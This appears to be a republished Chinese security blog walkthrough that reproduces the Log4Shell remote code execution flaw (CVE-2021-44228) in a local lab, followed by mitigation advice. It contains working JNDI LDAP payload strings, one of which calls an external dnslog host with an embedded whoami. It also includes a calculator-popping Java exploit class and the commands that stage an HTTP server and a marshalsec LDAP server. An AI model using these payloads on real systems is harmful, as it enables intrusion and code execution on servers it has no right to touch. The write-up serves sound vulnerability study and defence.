Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

admin 2022年3月25日23:52:25评论467 views字数 4408阅读14分41秒阅读模式

01.漏洞描述

Apache Log4j 是一个基于 Java 的日志记录组件。Apache Log4j2 是 Log4j 的升级版本,通过重写 Log4j 引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

受影响应用及组件:

Apache Solr、Apache Druid、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring 等。

02.漏洞环境搭建

创建 Maven 项目,在 pom.xml 文件添加以下配置:

<?xml version="1.0" encoding="UTF-8"?><project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.2.0.RELEASE</version> <relativePath/> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>log4j2</artifactId> <packaging>jar</packaging> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-autoconfigure</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <artifactId>spring-boot-starter-logging</artifactId> <groupId>org.springframework.boot</groupId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.11.1</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> </dependencies> <build> <finalName>${project.artifactId}</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.1</version> <configuration> <source>1.8</source> <target>1.8</target> </configuration> </plugin> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <version>2.3.4.RELEASE</version> <executions> <execution> <goals> <goal>repackage</goal> </goals> </execution> </executions> </plugin> </plugins> <resources> <resource> <directory>src/main/resources</directory> <includes> <include>*.properties</include> </includes> </resource> </resources> </build></project>

然后通过 Maven 加载 log4j2 相关的依赖

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

将项目创建好后添加漏洞代码

package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplicationpublic class Log4j2DemoStarter { private static final Logger log = LogManager.getLogger(Log4j2DemoStarter.class); public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");// log.error("${jndi:ldap://192.168.188.28:9999/#Test}");// log.error("${jndi:ldap://pc1tin.dnslog.cn/`whoami`}"); log.error("${jndi:ldap://exp}"); }}

03.漏洞复现过程

由于是测试,所以攻击机也是本机,以下同。先检测漏洞是否存在,这里我使用 dnslog 检测

http://www.dnslog.cn

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

我这里获取的域名是

twm91a.dnslog.cn

构造的 EXP 为:

${jndi:ldap://twm91a.dnslog.cn/`whoami`}

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

Dnslog 检测结果

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

接着,编写触发弹计算器的利用代码(exp 文件)

package org.example;public class Test { public Test(){  try {  Runtime.getRuntime().exec("calc.exe");  } catch (Exception var2){  var2.printStackTrace();  }  } public static void main(String[] args) {  new Test();  } }

然后将写好的 exp 文件编译为 class 文件,放在攻击机里,同时在 class 目录下启动 http 服务

python2 -m SimpleHTTPServer 8888

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

然后在攻击机启动 ldap 服务,这里我使用的是 github 上面的 marshalsec-0.0.3-SNAPSHOTall.jarhttps://github.com/RandomRobbieBF/marshalsec-jar

用以下命令在攻击机启动一个 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Test" 9999

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

接着构造 exp,由于只是在本机进行测试,所以就不进行抓包改包,直接将 exp 放在触发的漏洞代码里:

${jndi:ldap://127.0.0.1:9999/#Test}

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

执行结果,受害机弹出计算器

Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

04.漏洞修复建议

攻击者的数据包中可能存在:“${jndi:rmi”、“${jndi:ldap”字样,可根据此类关键字进行排查。

建议同时采用如下临时措施进行漏洞防范:

1)添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true;

2 )在应用 classpath 下添加 log4j2.component.properties 配 置 文 件 , 文 件 内 容 为log4j2.forma tMsgNoLookups=true;

3)JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;

4)部署使用第三方防火墙产品进行安全防护。

建议使用如下相关应用组件构建网站的信息系统运营者进行自查,如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等,发现存在漏洞后及时按照上述建议进行处置。

05.参考链接

https://www.cnvd.org.cn/webinfo/show/7116https://www.cnvd.org.cn/webinfo/show/7121https://www.cnvd.org.cn/webinfo/show/7116



蓝爵网安

广东蓝爵网络安全技术股份有限公司(简称“蓝爵网安”)成立于2007年,是一家专注于网络安全技术研究、网络安全服务十年以上的高新技术企业。蓝爵网安近年来一直围绕网络安全等级保护核心思想提供安全咨询、安全评估、安全开发、安全测试、安全运维、安全培训、应急响应七大类专业网络安全服务。 蓝爵网安拥有多个技术领域的专家服务团队,多次在重要安全保障期间、大型安全攻防演练等活动中获得了相关方的高度认可表彰。






原文始发于微信公众号(蓝爵网安):Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月25日23:52:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Log4j2 远程代码执行漏洞复现(CVE-2021-44228、CNVD-2021-95914)http://cn-sec.com/archives/841780.html

发表评论

匿名网友 填写信息